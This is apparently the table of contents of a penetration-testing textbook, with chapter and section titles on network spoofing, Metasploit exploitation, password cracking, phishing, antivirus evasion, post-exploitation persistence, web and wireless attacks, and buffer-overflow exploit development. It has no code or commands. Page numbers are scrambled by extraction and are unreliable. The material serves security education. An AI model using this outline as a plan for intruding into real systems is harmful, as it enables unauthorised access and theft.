.
.
.
.
.
.
.
.
.
156
156
156
158
159
160
ARP Cache Poisoning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ARP Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
IP Forwarding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ARP Cache Poisoning with Arpspoof . . . . . . . . . . . . . . . . . . . .
Using ARP Cache Poisoning to Impersonate the Default Gateway
DNS Cache Poisoning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Started . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using Dnsspoof . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
SSL Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
SSL Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using Ettercap for SSL Man-in-the-Middle Attacks . . . . . . . . . . . .
SSL Stripping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Using SSLstrip . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
160
161
163
164
165
167
168
169
170
170
171
173
174
175
Part III
Attacks
8
Exploitation179
Revisiting MS08-067 . . . . . . . . . . . . . . . . . . . . . . .
Metasploit Payloads . . . . . . . . . . . . . . . . .
Meterpreter . . . . . . . . . . . . . . . . . . . . . . .
Exploiting WebDAV Default Credentials . . . . . . . . .
Running a Script on the Target Web Server .
Uploading a Msfvenom Payload . . . . . . . .
Exploiting Open phpMyAdmin . . . . . . . . . . . . . . . .
Downloading a File with TFTP . . . . . . . . . .
Downloading Sensitive Files . . . . . . . . . . . . . . . . . .
Downloading a Configuration File . . . . . . .
Downloading the Windows SAM . . . . . . . .
Exploiting a Buffer Overflow in Third-Party Software .
Exploiting Third-Party Web Applications . . . . . . . . .
Exploiting a Compromised Service . . . . . . . . . . . . .
Exploiting Open NFS Shares . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
9
Password Attacks
Password Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Online Password Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Wordlists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Guessing Usernames and Passwords with Hydra . . . . . . .
Offline Password Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Recovering Password Hashes from a Windows SAM File .
Dumping Password Hashes with Physical Access . . . . . . .
LM vs. NTLM Hashing Algorithms . . . . . . . . . . . . . . . . . .
The Trouble with LM Password Hashes . . . . . . . . . . . . . .
180
180
181
182
183
183
186
187
188
188
189
190
191
193
194
196
197
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
197
198
199
202
203
204
206
208
209
Contents in Detail xiii
John the Ripper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cracking Linux Passwords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cracking Configuration File Passwords . . . . . . . . . . . . . . . . . . . . .
Rainbow Tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Online Password-Cracking Services . . . . . . . . . . . . . . . . . . . . . . .
Dumping Plaintext Passwords from Memory with Windows Credential Editor .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
10
Client-Side Exploitation
215
Bypassing Filters with Metasploit Payloads .
All Ports . . . . . . . . . . . . . . . . . .
HTTP and HTTPS Payloads . . . . . .
Client-Side Attacks . . . . . . . . . . . . . . . . .
Browser Exploitation . . . . . . . . . .
PDF Exploits . . . . . . . . . . . . . . .
Java Exploits . . . . . . . . . . . . . . .
browser_autopwn . . . . . . . . . . .
Winamp . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
11
Social Engineering
The Social-Engineer Toolkit . . . .
Spear-Phishing Attacks . . . . . . .
Choosing a Payload . .
Setting Options . . . . .
Naming Your File . . . .
Single or Mass Email .
Creating the Template
Setting the Target . . . .
Setting Up a Listener . .
Web Attacks . . . . . . . . . . . . .
Mass Email Attacks . . . . . . . . .
Multipronged Attacks . . . . . . . .
Summary . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Trojans . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Msfvenom . . . . . . . . . . . . . . . . . . . . .
How Antivirus Applications Work . . . . . . . . . . .
Microsoft Security Essentials . . . . . . . . . . . . . . .
VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Past an Antivirus Program . . . . . . . . . . .
Encoding . . . . . . . . . . . . . . . . . . . . .
Custom Cross Compiling . . . . . . . . . . .
Encrypting Executables with Hyperion .
Evading Antivirus with Veil-Evasion . . .
Contents in Detail
216
216
217
218
219
225
230
235
237
240
243
.
.
.
.
.
.
.
.
.
.
.
.
.
12
Bypassing Antivirus Applications
xiv 210
212
212
213
213
213
214
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
244
245
246
247
247
247
248
248
249
250
253
255
255
257
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
258
258
260
261
262
263
263
266
269
270
Hiding in Plain Sight . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
13
Post Exploitation Meterpreter . . . . . . . . . . . . . . . . . . . . . . . . . .
Using the upload Command . . . . . . . .
getuid . . . . . . . . . . . . . . . . . . . . . . . .
Other Meterpreter Commands . . . . . . .
Meterpreter Scripts . . . . . . . . . . . . . . . . . . . . .
Metasploit Post-Exploitation Modules . . . . . . . . .
Railgun . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Local Privilege Escalation . . . . . . . . . . . . . . . . .
getsystem on Windows . . . . . . . . . . . .
Local Escalation Module for Windows .
Bypassing UAC on Windows . . . . . . .
Udev Privilege Escalation on Linux . . . .
Local Information Gathering . . . . . . . . . . . . . . .
Searching for Files . . . . . . . . . . . . . . .
Keylogging . . . . . . . . . . . . . . . . . . . .
Gathering Credentials . . . . . . . . . . . .
net Commands . . . . . . . . . . . . . . . . .
Another Way In . . . . . . . . . . . . . . . . .
Checking Bash History . . . . . . . . . . . .
Lateral Movement . . . . . . . . . . . . . . . . . . . . . .
PSExec . . . . . . . . . . . . . . . . . . . . . . .
Pass the Hash . . . . . . . . . . . . . . . . . .
SSHExec . . . . . . . . . . . . . . . . . . . . . .
Token Impersonation . . . . . . . . . . . . .
Incognito . . . . . . . . . . . . . . . . . . . . . .
SMB Capture . . . . . . . . . . . . . . . . . . .
Pivoting . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Adding a Route in Metasploit . . . . . . .
Metasploit Port Scanners . . . . . . . . . . .
Running an Exploit through a Pivot . . . .
Socks4a and ProxyChains . . . . . . . . . .
Persistence . . . . . . . . . . . . . . . . . . . . . . . . . . .
Adding a User . . . . . . . . . . . . . . . . . .
Metasploit Persistence . . . . . . . . . . . .
Creating a Linux cron Job . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .
277
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
14
Web Application Testing Using Burp Proxy . . . . . . . . . . . . . . . . . . . . . .
SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . .
Testing for SQL Injection Vulnerabilities .
Exploiting SQL Injection Vulnerabilities .
Using SQLMap . . . . . . . . . . . . . . . . .
XPath Injection . . . . . . . . . . . . . . . . . . . . . . . .
278
279
279
280
280
281
283
283
283
284
285
287
291
291
292
292
294
295
295
296
296
298
299
300
301
302
304
305
306
306
307
309
309
310
311
311
313
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
314
319
320
321
321
323
Contents in Detail xv
Local File Inclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Remote File Inclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Command Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Checking for a Reflected XSS Vulnerability . . . . . . . . . . .
Leveraging XSS with the Browser Exploitation Framework .
Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Web Application Scanning with w3af . . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
15
Wireless Attacks 324
327
327
329
330
331
335
335
337
339
Setting Up . . . . . . . . . . . . . . . . . . . . . . . . . . .
Viewing Available Wireless Interfaces .
Scan for Access Points . . . . . . . . . . . .
Monitor Mode . . . . . . . . . . . . . . . . . . . . . . . .
Capturing Packets . . . . . . . . . . . . . . . . . . . . . .
Open Wireless . . . . . . . . . . . . . . . . . . . . . . . .
Wired Equivalent Privacy . . . . . . . . . . . . . . . . .
WEP Weaknesses . . . . . . . . . . . . . . .
Cracking WEP Keys with Aircrack-ng .
Wi-Fi Protected Access . . . . . . . . . . . . . . . . . . .
WPA2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
The Enterprise Connection Process . . . .
The Personal Connection Process . . . . .
The Four-Way Handshake . . . . . . . . . .
Cracking WPA/WPA2 Keys . . . . . . . .
Wi-Fi Protected Setup . . . . . . . . . . . . . . . . . . .
Problems with WPS . . . . . . . . . . . . . .
Cracking WPS with Bully . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
339
340
341
341
342
343
343
346
347
350
351
351
351
352
353
356
356
357
357
Part IV
Exploit Development
16
A Stack-Based Buffer Overflow in Linux
Memory Theory . . . . . . . . . . . . . . . . .
Linux Buffer Overflow . . . . . . . . . . . . .
A Vulnerable Program . . . . . .
Causing a Crash . . . . . . . . . .
Running GDB . . . . . . . . . . . . .
Crashing the Program in GDB .
xvi Contents in Detail
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
361
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
362
364
365
366
367
372
Controlling EIP . . . . .
Hijacking Execution .
Endianness . . . . . . .
Summary . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
17
A Stack-Based Buffer Overflow in Windows Searching for a Known Vulnerability in War-FTP . . . . . . . . .
Causing a Crash . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Locating EIP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Generating a Cyclical Pattern to Determine Offset .
Verifying Offsets . . . . . . . . . . . . . . . . . . . . . . . .
Hijacking Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting a Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
379
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
18
Structured Exception Handler Overwrites SEH Overwrite Exploits . . . . . . . . . .
Passing Control to SEH . . . . . . . . . .
Finding the Attack String in Memory .
POP POP RET . . . . . . . . . . . . . . . . .
SafeSEH . . . . . . . . . . . . . . . . . . . .
Using a Short Jump . . . . . . . . . . . . .
Choosing a Payload . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
380
382
384
385
388
390
395
400
401
19
Fuzzing, Porting Exploits, and Metasploit Modules
Fuzzing Programs . . . . . . . . . . . . . . . . . . . . . .
Finding Bugs with Code Review . . . . . .
Fuzzing a Trivial FTP Server . . . . . . . . .
Attempting a Crash . . . . . . . . . . . . . .
Porting Public Exploits to Meet Your Needs . . . .
Finding a Return Address . . . . . . . . . .
Replacing Shellcode . . . . . . . . . . . . . .
Editing the Exploit . . . . . . . . . . . . . . .
Writing Metasploit Modules . . . . . . . . . . . . . . .
